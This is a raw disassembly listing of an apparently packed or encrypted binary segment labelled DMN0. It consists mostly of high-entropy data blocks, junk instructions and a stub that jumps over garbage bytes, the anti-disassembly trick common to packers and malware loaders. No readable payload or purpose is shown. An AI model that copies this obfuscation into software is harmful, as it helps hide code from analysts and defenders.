dd 0D6B77295h, 0C3A49B74h, 86F7A0E8h, 607BCECDh, 0D18F4EBAh
dd 4C18BE9Fh, 64FA716Bh, 6AC1B9FDh, 0B04B5251h, 9863006Ch
dd 72B299Ch, 0B1066CDBh, 7CD2DF68h, 0A1DC220Dh, 204E06Fh
dd 7B3CBFBh, 8F67DAE9h, 883FDE22h, 10C1D767h, 0E6F6EF6Bh
dd 0DD20ABDAh, 7B7E6865h, 3E5DF8BCh, 69CFF1AAh, 0F43812B3h
dd 3EE4F849h, 1FAD8B50h, 0B4FBE04Ah, 0A7D13665h, 35D8FCA6h
dd 8D8DF9CFh, 0E1ABAD07h, 397E0BEh, 0CBB3F785h, 0D38B87ABh
dd 0E5ABEEE0h, 938CBC1Dh, 76A38F5Dh, 918DBABAh, 41333509h
dd 77BE65DCh, 6E6FC3BBh, 0BCE9032Ah, 0AAF09B69h, 825F8785h
dd 38A06148h, 23C0A6EEh, 881DBB0Dh, 87AD1105h, 320732A9h
dd 132DCDDh, 74ACF5h, 1E738D0Bh, 0DDDF2E28h, 0D1750743h
dd 1BEE4158h, 0CAB67BDEh, 689E1C2h, 978A3C0Fh, 0A13C897Bh
dd 0A3833A9Bh, 434080CDh, 9E76E251h, 204568C4h, 9CDB0C3Eh
dd 0FB7CE0BCh, 632C5A3Ch, 0FCE881EBh, 64075495h, 69E9F58Fh
dd 58B3547Fh, 0C01F255Ch, 43893DA8h, 6CA15916h, 0A058576Dh
dd 0A322A5F6h, 0EF279228h, 306FB565h, 4C1AD9CFh, 6597262Ch
dd 9FE9250Fh, 7A727803h, 2079B027h, 0AF2A0362h, 65BA8309h
dd 0B8412401h, 0ADC3D878h, 0B3434575h, 0AF1DFE56h, 0D0E81BEDh
dd 40F2BEA8h, 8FFF8B24h, 956DBEBAh, 1544768Fh, 80A7D929h
dd 20B6240Eh, 6B9E0092h, 0C89C082Eh, 870139E8h, 5D740021h
dd 825DBDA6h, 2CF103Bh, 28A116C0h, 9B84C575h, 48B6D9BEh
dd 7190CF40h, 0D1114181h, 65C3663Ah, 2D5CAC94h, 58F2C9DFh
dd 3B17D8ACh, 0A59AD63Ch, 30C9B951h, 0AC3A3C51h, 1A79EDFBh
dd 0CFFD4599h, 598768A8h, 0E91FC5E1h, 8F578AF9h, 0FE244EBCh
dd 4E8465C8h, 5667071h, 544BEE4Ah, 2400E609h, 30A53B43h
dd 0E3F069FEh, 0F03B2854h, 4AC7566Dh, 3D762504h, 67D3E43Fh
dd 3FF9AD1Ch, 1C7A463Bh, 0A833B411h, 9C05AE03h, 9CF25369h
dd 0F325F26Fh, 600E1B62h, 65309070h, 68209949h, 0A0F58297h
dd 71C6CC7Eh, 0F3E04B4Eh, 90139B20h, 7CB23CC9h, 0F90824EBh
dd 0A48B4EC5h, 0FDBBA26Dh, 3AC94247h, 833FE87Bh, 29393504h
dd 9C9F554Fh, 7AEA168Fh, 5296B696h, 1064C423h, 189C53A2h
dd 399AAFF0h, 4CEF0267h, 86546333h, 967C5E28h, 7547CC1h
dd 0BBD91B84h, 7A9CB1E5h, 0D5B49F53h, 2FE70B2Eh, 4010F078h
dd 0CB090BBCh, 9B550B15h, 0A549F2C5h, 0B59CF73Eh, 0C1C8C0Ch
dd 34CA0BE7h, 67E4235Eh, 591F265Fh, 0FC151760h, 0DDE3234Bh
dd 0CA674551h, 0EF5EA8F2h
dd 8BDA79B8h, 73856E2Bh, 34DA7772h, 0DA956EF5h, 0D378DD92h
dd 0E0A53D46h, 26145E6h, 483E9234h, 0FB35A60Fh, 5DAF0C6h
dd 118AEC68h, 0F1CDBEBh, 0F5A147A0h, 0B3350F77h, 94C14830h
dd 15325915h, 90D516B7h, 0D0A82386h, 9599255Dh, 8C807E2Dh
dd 74F1261Bh, 0ADC2E912h, 4BE244A8h, 5E978D0Fh, 0B7A439ACh
dd 4F98CB15h, 0D4794210h, 0F29F8026h, 0E48CE6EEh, 0EE120726h
dd 0D3FA9FB2h, 85D3F73Dh, 87985809h, 0DBA28397h, 4D85A68Bh
dd 0DC36DC6Bh, 45E8A74Ah, 0FA4C564Ch, 585B47BEh, 0C5D44130h
dd 0AA094F63h, 0ABA31EC5h, 59DAAEA8h, 1D105357h, 2DA0F3CAh
dd 550A284Eh, 74F2D2D6h, 3C6B8B11h, 0E251ADAh, 23266DC8h
dd 4EF9A3C7h, 0FA1B05FAh, 71BA538Ch, 8ADD40FBh, 41443594h
dd 5B40CD0Ah, 439B0F5Bh, 45B9FB04h, 9CC46ED3h, 5E67815h
dd 29BCFD9Fh, 0C54F120Ch, 9D9C1CDAh, 0D19C993Fh, 17B9A83Bh
dd 33FCBC76h, 0EFFE4402h, 31166E16h, 8FC25FAAh, 425D16EDh
dd 813D9ED1h, 0D81D3808h, 30D9C12Eh, 560AB46Bh, 84EB4A9Ah
dd 822DFDF6h, 0DD3A64E4h, 0B4CD9E39h, 8C4F300Ch, 0FC5D47C3h
dd 9AA78643h, 0E0E8FDAAh, 9A93E5FFh, 8388BCCFh, 0F9805DF0h
dd 7D09FBB0h, 862BE91Dh, 0D2CEA9A9h, 0E4D9799Dh, 0F38E0A38h
dd 3E2CBC69h, 0B7071E02h, 0EF25DC75h, 9D34917Ch, 0A3E60D9Ah
dd 0AB92B292h, 13AA5038h, 0AA1FE3ECh, 0DD4E1EE9h, 0C8202248h
dd 0D0ABC52Eh, 9B2ACF07h, 0CC57757h, 0AD8F21B8h, 0E2A87F6h
dd 0C0168A19h, 7643BD5Bh, 0D844A41Ah, 23E97762h, 0EB89406Fh
dd 0FD6E1490h, 0E7445841h, 33689BA2h, 77C371B4h, 5A720080h
dd 8A742B14h, 81C08A2Dh, 0D493B745h, 0C2445D25h, 0F246A442h
dd 0E9D631Dh, 0F536ECCBh, 0FD5814AFh, 63EF8515h, 0CD568452h
dd 5D1B1184h, 89F1C528h, 76F22448h, 0AB50259h, 845E566h
dd 30111AA8h, 0C1035C68h, 0AB550921h, 0DB6DC990h, 4C09BFA8h
dd 0F21F532Ch, 96EC4B42h, 5F05CE7h, 0D2003C27h, 9FFC8F7Eh
dd 92C715BDh, 0C40F0EA0h, 5171B9D9h, 823CB9CDh, 446FBBBCh
dd 7F9BD2D6h, 450F066Eh, 3F8E066Ch, 0E2DDBE97h, 9FDAD61Dh
dd 33E82283h, 33B1755Eh, 3A080589h, 0F649F931h, 548EF88Bh
dd 9C546F39h, 0F4DB2B60h, 9D519E9Ah, 0B67C89C2h, 0CAF51744h
dd 8373BB6Ch, 8E0D041Ah, 0C946D09Bh, 81A8F77Eh, 2A517ADh
dd 9DC1896h, 8833157Ch, 497A816Ch, 6FCC5E61h, 0AF69AD16h
dd 0CBC337A2h, 68752E7h, 0D85C5E9Ah, 0F05A5AA9h, 49505E7h
dd 96ACAD09h, 985F398Dh, 8CA1FDC0h, 0AFFD081Ch, 0EE89F00Eh
dd 0DB3A950Dh, 658610E4h, 481EFAAEh, 3F235F89h, 753A03D0h
dd 0C2FC0833h, 2B8FCD5h, 573C5226h, 0F2E00388h, 0DED244D0h
dd 0FAE5B8B6h, 0D99B5502h, 90A65B13h, 281E82BAh, 0F568D297h
dd 8B3A6DB5h, 15833B83h, 0FD99D90Eh, 18388535h, 0DBE6DA6Bh
dd 4158D979h, 1C66E315h, 0D0935DE0h, 6390BEB1h, 5FA3FABDh
dd 4D03E273h, 0E3AD14CFh, 4B60EA75h, 61EEB253h, 0DBB8B14Dh
dd 0FF2BD716h, 1F8FAF1h, 300CBF65h, 0B7097672h, 0F490DBF4h
dd 7960F263h, 80F60D3Dh, 50239221h, 1B2A4E59h, 6744B96Bh
dd 0EB30883h, 7CD68BB6h, 0F887997Ch, 6077063Ah, 577EFA44h
dd 6B6313E0h, 0A815E11Ah, 0BA78713Ah, 61CCB8C5h, 0A2733100h
dd 0B7210171h, 0C59EBB68h, 1EBB389Bh, 96FE4E6Eh, 8DE132CDh
dd 9C5CB5F6h, 12E11DF3h, 0B9BE8370h, 282D258h, 0B0D02326h
dd 4418FC85h, 0C5FC5470h, 0C5655185h, 0EE3F4ABEh, 0CDA94780h
dd 0FEF7151Ah, 0CFA68426h, 0ADA0D282h, 91F6D6D9h, 4BCBE79h
dd 8AD6BBCFh, 5C0EB86Eh, 71D138EAh, 0EB577045h, 7E881D0Ch
dd 88ECBD02h, 0E609C0A4h, 7D6AC10Dh, 0DBE8BCC6h, 5B2E5820h
dd 764B9086h, 0C5FFE7E0h, 1004D061h, 4FCEC650h, 5355D92Ah
dd 24220103h, 36C7FD37h, 0B963F323h, 0A056D244h, 24EB8809h
dd 918579E9h, 9D211F17h, 5B988FC1h, 8C16AF5Ch, 9E9EE3FFh
dd 3CEB9B85h, 0C6D8EE15h, 10F4F190h, 4C88E2C8h, 0B58D104Ch
dd 79F36B49h, 254D6E94h, 3C361921h, 651C378Fh, 0D8E54327h
dd 3258EB52h, 5B554B2Bh, 71459F2Ch, 0E5E2F32Dh, 74D485D8h
dd 64755873h, 0C9B9AEC1h, 5B3301BBh, 0B0076B9h, 0DFE09CF8h
dd 4CC0AF1Bh, 40A2BD24h, 6EBEC422h, 2D932937h, 0AC9F2B99h
dd 1CC83267h, 70CC6996h, 38BC5F3Ah, 0CCCF556Eh, 0B095974h
dd 63AE3364h, 0DFDA7E9Dh, 95F0E5D9h, 74D6A7CCh, 349850F3h
dd 0A0CBF84Dh, 54B91317h, 11323FE4h, 0E2D5D1DBh, 0C949012h
dd 6EACFF27h, 6BA55509h, 5734E5AFh, 2B15F83Dh, 0FE8AD788h
dd 1FEFB90Ch, 0A9CDAE71h, 0DC40626Ch, 682055B4h, 94916FA9h
dd 0EE0E65C6h, 2D99416Dh, 0F5EB0297h, 0CA61D49Ah, 6A7B4E6Ch
dd 616BB7Ch, 0B3FBCED5h, 7EBDE3CDh, 98769AE3h, 3071538Eh
dd 6A3A33A8h, 77C8B64h, 0B358DA4Ah, 0E8FC31E5h, 6264F895h
dd 0A3ED3B08h, 0BF1E8DF4h, 803F09AFh, 6488AF36h, 5B7981EAh
dd 0F82E271Bh, 935F7D86h, 0FC1FD9E0h, 0D8B9AC50h, 0BCF4A162h
dd 0DB133219h, 0F9996B43h, 33FDAD7Fh, 0D815A706h, 4FE6710Eh
dd 0A4890A2Bh, 6D1A997Ch, 0C1987D76h, 0A9BD2429h, 0F4F439DBh
dd 0C8428EB2h, 0CCF944EAh, 39BF102h, 271926B3h, 2FE8B039h
dd 71EC4D33h, 0BC864F0Ah, 0BDDC489h, 6F74E25Eh, 0A4AD9BB8h
dd 0F2F9E531h, 0AAFCBD0Fh, 0C62C2B01h, 4B30AD45h, 0D6F37E35h
dd 0F0DB8BAEh, 0A476B105h, 78D23D6Eh, 3D25E31h, 59735029h
dd 843F7974h, 0BD4BD118h, 0B9EAE3C7h, 40FDA3A8h, 90B3349Eh
dd 7EF87487h, 5177E849h, 4FF4B09Fh, 6AAB2AF4h, 1420ABC6h
dd 0F984B365h, 67201234h, 907B94BEh, 41F799BBh, 7FF229B3h
dd 3365A779h, 773B2A79h, 0D0F27BE7h, 53A2390Fh, 0AE26E0A6h
dd 220F3A8Ah, 469FB912h, 0AAA018DCh, 0F442A76Bh, 1980549Fh
dd 37E563C2h, 0B3B4C4EAh, 0CC36BDBCh, 961E1C57h, 0E636B802h
dd 0E673353Ah, 1337756Eh, 7F59557Ah, 8CF42977h, 0B71FA9D8h
dd 9F40A4EAh, 0DCE6586Ah, 5ABFA2F3h, 0A7D5EF4Dh, 0B1971811h
dd 4B65A4BCh, 70556AFFh, 6DE3A487h, 0C14A2B40h, 0B56B8289h
dd 370CB74Dh, 5D9F71FEh, 3AF55200h, 775DFDDEh, 7E6FC2FAh
dd 4D47B980h, 0CC8E0A4h, 72AD850Ah, 0A7DE9603h, 0DD9E0DCDh
dd 0FBDE6AFDh, 0FBDB44DBh, 0EFC48FB0h, 0C551D5DBh, 556FE1BBh
dd 0EB7CD675h, 634E6F25h, 1E563952h, 5E37521Ah, 1C477F7Ah
dd 20AA73E9h, 740BA2FFh, 8A22A2DAh, 821DF8E2h, 4ADEF289h
dd 2DE28A6Dh, 0B31E7833h, 33F138D5h, 1D3D0AB2h, 0DF3A3C55h
dd 4CA5D66Eh, 0F247D45Ch, 7CFD52CCh, 5F1B992Ch, 5D7FAB98h
dd 0EA1CCC6Bh, 0E54CBA29h, 566299D6h, 0B3F812Bh, 8FBA2A49h
dd 7F83B8A4h, 7AE91BF4h, 98D1DC9Ah, 2DC13152h, 878EFE9Fh
dd 0F318F3h, 0D6569144h, 0A6E5F614h, 49D3FFB4h, 0A1A89182h
dd 0D0466317h, 0F0EC1BE1h, 8C5F6553h, 20550275h, 45127C48h
dd 419F536Bh, 0A241EBEh, 21CA166Fh, 0F2CA7CC0h, 332FF2Dh
dd 869D859Dh, 475CC261h, 826AF96Dh, 801B3967h, 60AB5B3Ch
dd 4E36F818h, 0EBFEB905h, 3FDDCA4Ch, 0DB1D68C8h, 9E923E84h
dd 7250C60Eh, 0C786E17Bh, 4DAEB18h, 4EAE60CAh, 350A0D5Dh
dd 816F0ACFh, 1117B36Dh, 842B3C36h, 1A8E7BADh, 1D1D6132h
dd 0EBEB84F6h, 0B6F555C1h, 908F7834h, 3FB17763h, 13947E4Dh
dd 0E9BF5943h, 0D94A2B0Ch
dd 59C1F488h, 4A71A669h, 3409C36Fh, 0B17C0705h, 3B33C0CFh
dd 0D5FBEF1Eh, 6F156862h, 0C5BBA20Dh, 5F7ACCDBh, 381E5769h
dd 93379523h, 9C34AD12h, 0F16D33D0h, 0E3393747h, 0B71091BAh
dd 0A120E061h, 0A0460867h, 0CA186FBFh, 71710C17h, 0B91D052Eh
dd 0D466C76Ah, 4B6F787h, 1136724Fh, 0A9A60A2Eh, 0E19D4178h
dd 9B83888Eh, 0E5CAA1E1h, 0A23E2964h, 26F69ADAh, 81E11B60h
dd 0A7954B66h, 6B7AE5BDh, 257E2D3h, 0EEA713F4h, 0DE610CAAh
dd 64FB38C6h, 2CA06022h, 0DD473AACh, 0A48F6B65h, 9C8449AAh
dd 67FA6C6Ch, 252F4ECDh, 0E54E82CBh, 93C3ACB7h, 0A66CE77Fh
dd 55483067h, 0C38357FAh, 40A23F49h, 0BC9DCDDCh, 0EBB9301h
dd 8424A938h, 9B8CBC22h, 46379362h, 7BA9D528h, 0A51CA1E7h
dd 63E716D4h, 0EBB468B8h, 6734CF2Ch, 597D5C17h, 0F2C7A984h
dd 695B2C32h, 0B017DBE7h, 12A070ADh, 5541A41Eh, 7B9001FFh
dd 0F5C59FBh, 7050DAE8h, 27E344FBh, 0BD555B2Dh, 0F6141427h
dd 30FC4251h, 0EABAD387h, 0B4A6F7E5h, 0E06CE52h, 9CF6226h
dd 0F91F32A1h, 0E7C3F4Eh, 9A21F08h, 4BCD986Bh, 0B556BC70h
dd 2A254F5Ch, 8232F474h, 147C03EAh, 0A9519844h, 0B2030CC9h
dd 0E47222BCh, 0DA4A231Fh, 296A1C30h, 0BAFE9DE0h, 0D59A3997h
dd 0A7EC4E3Eh, 270E2B8Eh, 0A2447EA1h, 0C0591BABh, 0F202C1ABh
dd 179F2470h, 0AE8BE1BCh, 0E78EA501h, 0B1DE1791h, 0A87697DFh
dd 91D2502Dh, 8EFCE1h, 0DA74284Ch, 0EB3FDCh, 72F45956h
dd 0DEABFF44h, 0CDE9C1D8h, 22CC971Bh, 0D4DD97B0h, 50DA024Dh
dd 73859FB6h, 7268ADC1h, 5174B676h, 953AD096h, 4AF0D470h
dd 4ED4DDB3h, 0C54A736Ah, 83EF154Fh, 58EC716Fh, 751FE34Dh
dd 0EB11BC07h, 0C249A52Eh, 9F595D70h, 9A1CD892h, 0E747A1EAh
dd 0D8262FAEh, 37E126DEh, 3F409D5Eh, 7D5FB1FEh, 0A2AFB4CBh
dd 0D5D1F264h, 0B3873328h, 0F2BF3F91h, 69DCA439h, 0DFF56E87h
dd 0DDF01B1Dh, 0C3F822C2h, 9EE5E3FAh, 7FDF62E6h, 0CC00B67Eh
dd 5D9BDCC9h, 7B0608CEh, 4553B851h, 1CA41D0Ah, 921A7933h
dd 0FC9A871Eh, 94DB5BD0h, 8B8D144Fh, 6173C1FEh, 0AFA8AD1Eh
; ---------------------------------------------------------------------------
or edi, [eax]
loc_4286EE: ; CODE XREF: DMN0:00429506j
pop esi
imul byte ptr [esi+13B82AF1h]
mov ecx, 43641D8Ah
xor [eax-65775BF9h], edx
and eax, 2BC73838h
fstp tbyte ptr [edi]
sbb al, 0A3h
in eax, dx
xchg bh, cl
or al, 2Ah
lds edi, [ebp+60h]
mov al, 28h
outsb
out 0DAh, eax
in al, 51h
dec esp
inc edx
add ch, [edi]
cmp eax, 3D5B755Dh
push ss
call far ptr 2C82h:596ABD5Fh
pop es
pop es
cmp [ebp+64h], eax
cmp ch, [ecx+7Eh]
into
jmp far ptr 1613h:5B79E71Bh
; ---------------------------------------------------------------------------
db 60h, 63h, 0ABh
; ---------------------------------------------------------------------------
inc ecx
js short loc_42878C
imul ebx, [eax-7Dh], 77451524h
or eax, 95F5821Dh
les edx, [esi]
stosb
xor [edx+63A5349Ah], dl
sub edx, ebp
stosd
or bh, al
retf 0FFBh
; ---------------------------------------------------------------------------
dd 33E1388h, 0D1A737BEh, 86799D46h, 73E22EB2h, 2EAD800Fh
dd 44F82201h, 0CF7A0239h, 57B7198Eh, 0F624CFF3h, 48BA64F8h
dd 1EE21234h, 0C29FF359h
; ---------------------------------------------------------------------------
loc_42878C: ; CODE XREF: DMN0:0042873Dj
xchg dh, [ebp+4Eh]
mov ds:85F666CCh, al
and al, 30h
inc edi
mov edx, 200EF2B2h
cmp al, 3Ah
in al, dx
and byte ptr [edi-46h], 1Ah
mov es, word ptr [ecx]
rcr dword ptr [eax], 82h
inc esp
int 3 ; Trap to Debugger
and bl, [eax+2FACACEDh]
lahf
adc al, 4Dh
loope loc_4287C9
mov ecx, 4DD7FE8Fh
popa
pop es
retf
; ---------------------------------------------------------------------------
sub eax, 0A8C15611h
retf
; ---------------------------------------------------------------------------
db 0E9h
dd 1608746Eh
db 0E8h
; ---------------------------------------------------------------------------
loc_4287C9: ; CODE XREF: DMN0:004287B3j
fisubr dword ptr [eax+esi*8+49CCC2E7h]
sahf
inc ebx
aam 0B9h
add eax, 59FF3436h
xchg eax, ecx
pusha
js short loc_4287E9
push ebx
retn
; ---------------------------------------------------------------------------
db 0BAh
dd 2E3D822Ah, 655799E2h
db 0C2h
; ---------------------------------------------------------------------------
loc_4287E9: ; CODE XREF: DMN0:004287DBj
call near ptr 3E5BA997h
mov cl, 53h
pop esi
mov [esi+esi], ebp
; ---------------------------------------------------------------------------
dd 3CE04C8Fh, 0D0C83C3Bh, 83050B45h, 401EAA7Dh, 2D1FA6B3h
dd 200386EDh, 9B69AE9h, 1C6D9275h, 8A039239h, 3863BC4Ch
dd 77238A47h, 434B49D9h, 72ADF523h, 0B16ED510h, 6D523449h
dd 8A45BD09h, 1674FB3Dh, 0A35A3BD0h, 2D8D6845h, 0E13740DBh
dd 0A9819849h, 73C1FC52h, 9E097F2Eh, 0DCE52483h, 1CFA99AAh
dd 985C64FBh, 0CCBCBFA8h, 8E187431h, 39F83C16h, 0DBFA9124h
dd 82586BA8h, 0F9F29DAh, 0C82C557h, 7A49B8ABh, 0A6847660h
dd 8B7049E4h, 27929B95h, 1109E2E9h, 5725F19Bh, 0AC4EC7A1h
dd 3B2C738h, 117BC4A3h, 173553DCh, 87164878h, 0E021A6B3h
dd 5A898B4Ah, 0A053891Ch, 403019C1h, 0DB470750h, 2E3EA0E5h
dd 25B8909Bh, 0FFB3D922h, 812D6386h, 0FE6C2ABCh, 9C635E34h
dd 0AB721846h, 0D2C08D28h, 8437534h, 287D081Ch, 481FC4B1h
dd 5788BCD8h, 41A6B126h, 0B605DE76h, 9B92D885h, 6414AF71h
dd 0F34F7444h, 25B4B971h, 7372CF61h, 17DB214Dh, 8A2A5157h
dd 240E24CDh, 3B00102Bh, 11D968DCh, 3926F538h, 2E5E0797h
dd 0B79E4591h, 96DC81C9h, 6060916Fh, 46B0EEA0h, 6A513F96h
dd 0AA2C1F7Dh, 0EB704EBCh, 4F3943F9h, 840A3957h, 4D9F518Eh
dd 873E610h, 0A5508E6Ch, 0E5132F60h, 3AC45477h, 0B59FE585h
dd 0EC86012Fh, 31411A62h, 1189FF19h, 0D80E5098h, 0F432FF7h
dd 0C9EB3B10h, 21035AAFh, 5CA45EAFh, 1AB2E631h, 0F6A5E85Ah
dd 49226B61h, 0BEE2F560h, 0B93D00A1h, 0D03D7B1Ch, 0BB46DA1Ah
dd 0F7C246C2h, 7E374065h, 10CCEE35h, 5425445Ch, 63C9E57Fh
dd 35EBDE53h, 0E1F02023h, 30D81020h, 0F8AEF88Ah, 460E960Ch
dd 2D8AC6FFh, 208E7A5Ch, 36BF2148h, 0EC38EC7Bh, 66A26122h
dd 80178253h, 5331974Bh, 11F8C880h, 7018B9E6h, 54E1B1B7h
dd 42ECC43Eh, 0B5F5325Bh, 0CF55C69Dh, 3BA51E85h, 6BA6CE14h
dd 8BD4E974h, 0FE13CD64h, 9E121846h, 892301C6h, 8D8CD055h
dd 0EFBAF739h, 8880E2FDh, 2D12E030h, 0EC156C94h, 0DC60095Ch
dd 59CC2297h, 13B6A1Ah, 40586952h, 9DF95976h, 0E563DA45h
dd 0DE241169h, 8E280F05h, 539FE4EDh, 63AD3378h, 0A6A33CF7h
dd 0D8C8672Ah, 5197ECCAh, 26F6129Bh, 262DFD45h, 39C4E493h
dd 2B3C0512h, 0FB36B62Bh, 9653172Eh, 6416CCEDh, 2B6A4C2Bh
dd 0B735CC57h, 28BE74A7h, 62B82A4Fh, 9F8487EBh, 43D3AF84h
dd 0E95C19B2h, 7FF3F01Dh, 0FCF11200h, 47D1BA1Eh, 8BF13BE1h
dd 0A9062524h, 2A80409Ah, 0DDF4C784h, 144810ECh, 2F6B545Fh
dd 1CDFAB0h, 2846CDFDh, 6948C8B1h, 0B9E3B651h, 54078061h
dd 9B741BEDh, 2465D4Ah, 0A254347h, 94F39BB1h, 0E548CFFEh
dd 8B2208A6h, 1F27DD21h, 37A5A98Fh, 0E0C38E8Eh, 0C04B51E6h
dd 437C4ABCh, 0F9ECB94Ah, 85519E64h, 6182AE76h, 0C4A65B83h
dd 0D8C3D92Ch, 0B37CE9A5h, 8AD2FD1Fh, 568779CAh, 7E77364h
dd 0CCA0F273h, 4E24BE18h, 52022E37h, 601AACF3h, 225AB4A6h
dd 2C90FFDAh, 7624C4Ah, 0A35D8873h, 0A1CF4598h, 586CA010h
dd 0E65AE722h, 87F694F2h, 14C11D45h, 0E167E497h, 1848E749h
dd 6B7BDD03h, 1AA11CCDh, 0C6B13AD8h, 7DD18963h, 4A5172E5h
dd 2C3BD2E9h, 1A67907Ch, 2FE47EB1h, 37EC8A3Eh, 0E83402EDh
dd 52C9BF57h, 0E4A91615h, 415020C1h, 0E8954D89h, 5AA732C4h
dd 483B3A19h, 0E3520885h, 334E825Bh, 46D14EDAh
; ---------------------------------------------------------------------------
push 24h
push ebp
mov ebp, esp
mov eax, [esp+8]
mov ebp, eax
pusha
mov eax, 46806E18h
push eax
jmp short loc_428BB5
; ---------------------------------------------------------------------------
dd 78B5B78Eh
db 0E6h
; ---------------------------------------------------------------------------
loc_428BB5: ; CODE XREF: DMN0:00428BAEj
jmp short loc_428BCE
; ---------------------------------------------------------------------------
adc [edx], eax
and esi, esi
enter 7C96h, 6Bh
dec edx
xchg eax, esi
rol dword ptr [esi+79EED5B4h], 0CEh
fstp tbyte ptr [eax+4Fh]
cmpsb
mov dh, 9Ah
loc_428BCE: ; CODE XREF: DMN0:loc_428BB5j
std
or edx, 0FFFFFFFFh
jmp short loc_428BEF
; ---------------------------------------------------------------------------
dd 0BF5A5489h, 0BE1D218Ch, 489C2BF4h, 0C26E8436h, 0BE55FFA0h
dd 0EF005651h
db 62h, 82h, 45h
; ---------------------------------------------------------------------------
loc_428BEF: ; CODE XREF: DMN0:00428BD2j
dec esi
jmp short loc_428BF7
; ---------------------------------------------------------------------------
dw 5B94h
db 81h, 0DEh, 7Ch
; ---------------------------------------------------------------------------
loc_428BF7: ; CODE XREF: DMN0:00428BF0j
jmp short loc_428C17
; ---------------------------------------------------------------------------
align 2
dw 23A5h
db 90h
db 20h, 0D6h, 58h
dd 61407B61h, 0E0E3A30Ah, 0B3D8C45h, 0F0FE0522h, 8805D8B3h
db 51h, 21h, 41h
; ---------------------------------------------------------------------------
loc_428C17: ; CODE XREF: DMN0:loc_428BF7j
jmp short loc_428C33
; ---------------------------------------------------------------------------
db 55h, 73h, 8Bh
dd 7B25B6FBh, 435F91Ah, 4A6CFE52h, 13FDDEB1h, 36F06051h
; ---------------------------------------------------------------------------
movsb
dec edx
cmpsb
loc_428C33: ; CODE XREF: DMN0:loc_428C17j
jmp short loc_428C4A
; ---------------------------------------------------------------------------
sti
retf
; ---------------------------------------------------------------------------
db 16h
dd 85740CF6h, 21F1850Fh, 2D7C57E9h, 0A2C3E98h
; ---------------------------------------------------------------------------
inc eax
retn
; ---------------------------------------------------------------------------
loc_428C4A: ; CODE XREF: DMN0:loc_428C33j
inc edx
jmp short loc_428C51
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dw 9D33h
db 8Dh
; ---------------------------------------------------------------------------
loc_428C51: ; CODE XREF: DMN0:00428C4Bj
test ebx, 2E1E3D33h
jmp short loc_428C77
; ---------------------------------------------------------------------------
db 0EFh, 39h, 6Bh
dd 0C27C94DBh, 0DCBB8399h, 0A41B103Bh, 0AAE58CA4h, 536CCCAAh
dd 9E596538h
db 6Eh, 0F6h, 0C6h
; ---------------------------------------------------------------------------
loc_428C77: ; CODE XREF: DMN0:00428C57j
xchg edi, edi
jmp short loc_428C8C
; ---------------------------------------------------------------------------
db 0A2h
dd 0DBAD57EDh, 0F0BB735Ch, 39585DA7h, 0B701F0E9h
; ---------------------------------------------------------------------------
loc_428C8C: ; CODE XREF: DMN0:00428C79j
jmp short loc_428CA7
; ---------------------------------------------------------------------------
dw 0DE84h
dd 9DEA49ACh, 86B54412h, 0EA0E4948h, 76FF1DFDh, 9F786F20h
db 75h, 5Ah, 0C1h
; ---------------------------------------------------------------------------
loc_428CA7: ; CODE XREF: DMN0:loc_428C8Cj
bswap ebx
jmp short loc_428CBB
; ---------------------------------------------------------------------------
db 82h
dd 0D357BD11h, 3C5EC9E6h, 9BAC1824h
db 9Ch, 0C9h, 0D9h
; ---------------------------------------------------------------------------
loc_428CBB: ; CODE XREF: DMN0:00428CA9j
xchg edi, edx
xchg eax, ebp
jmp short loc_428CC3
; ---------------------------------------------------------------------------
align 2
db 29h
; ---------------------------------------------------------------------------
loc_428CC3: ; CODE XREF: DMN0:00428CBFj
jmp short loc_428CD2
; ---------------------------------------------------------------------------
db 8Ch, 0DEh, 0D6h
dd 0E9D29437h, 13530CB6h
; ---------------------------------------------------------------------------
sbb cl, [ecx]
loc_428CD2: ; CODE XREF: DMN0:loc_428CC3j
jmp short loc_428CE1
; ---------------------------------------------------------------------------
dd 33145A3Dh, 0CFEA2709h, 7EFFC111h
; ---------------------------------------------------------------------------
pop esp
loc_428CE1: ; CODE XREF: DMN0:loc_428CD2j
test ebx, 8F578930h
add edi, 31000h
cld
xchg ebx, ebp
jmp short loc_428D0D
; ---------------------------------------------------------------------------
dw 6373h
dd 2059C328h, 67A39815h, 0DBA36744h, 51331F2Ch, 4912F2F0h
dd 0D39B506Ah
; ---------------------------------------------------------------------------
cli
loc_428D0D: ; CODE XREF: DMN0:00428CF0j
test edx, 10FDA7DFh
jmp short loc_428D31
; ---------------------------------------------------------------------------
push esi
jmp dword ptr [ecx]
; ---------------------------------------------------------------------------
dd 69D8B712h, 2BF69A9Bh, 345F8683h, 0D7B34323h, 4D799C9h
dd 0E6BB0183h
; ---------------------------------------------------------------------------
cdq
loc_428D31: ; CODE XREF: DMN0:00428D13j
or ecx, 0FFFFFFFFh
cmc
stc
jmp short loc_428D52
; ---------------------------------------------------------------------------
dd 63F47420h, 7CC645B8h, 32D2D7A6h, 0A584A4EBh, 0FD85DA4Bh
dd 7FBB69A6h
db 2Eh, 3Fh
; ---------------------------------------------------------------------------
loc_428D52: ; CODE XREF: DMN0:00428D36j
test ebp, 237A3A12h
jmp short $+2
jmp short loc_428D74
; ---------------------------------------------------------------------------
dd 0DC663733h, 6B565267h, 0C4F2E906h, 0D77B4326h, 85633769h
dd 0E145F586h
; ---------------------------------------------------------------------------
loc_428D74: ; CODE XREF: DMN0:00428D5Aj
inc ecx
jmp short loc_428D8B
; ---------------------------------------------------------------------------
db 55h
dd 3DDEE21Fh, 94E1B221h, 1C194416h, 0A66E440Dh
db 8, 74h, 2Ch
; ---------------------------------------------------------------------------
loc_428D8B: ; CODE XREF: DMN0:00428D75j
jmp short loc_428D9A
; ---------------------------------------------------------------------------
db 0DBh, 61h, 4Ch
dd 4B0672E4h, 0C7F139E6h
; ---------------------------------------------------------------------------
push esi
loc_428D9A: ; CODE XREF: DMN0:loc_428D8Bj
jmp short loc_428DBB
; ---------------------------------------------------------------------------
dd 50483EFEh, 0F1765CA6h, 9F9A95FAh, 0E72662A0h, 394DF86Eh
dd 0E5348228h, 0E87B476h
db 93h, 77h, 0B1h
; ---------------------------------------------------------------------------
loc_428DBB: ; CODE XREF: DMN0:loc_428D9Aj
xchg esp, ebp
jmp short loc_428DCC
; ---------------------------------------------------------------------------
db 0Eh
dd 0A44125DCh, 522C0170h, 0C76EA79Bh
; ---------------------------------------------------------------------------
loc_428DCC: ; CODE XREF: DMN0:00428DBDj
jmp short loc_428DD9
; ---------------------------------------------------------------------------
dw 7827h
dd 4912FA49h, 0EC69AD13h
db 0DDh
; ---------------------------------------------------------------------------
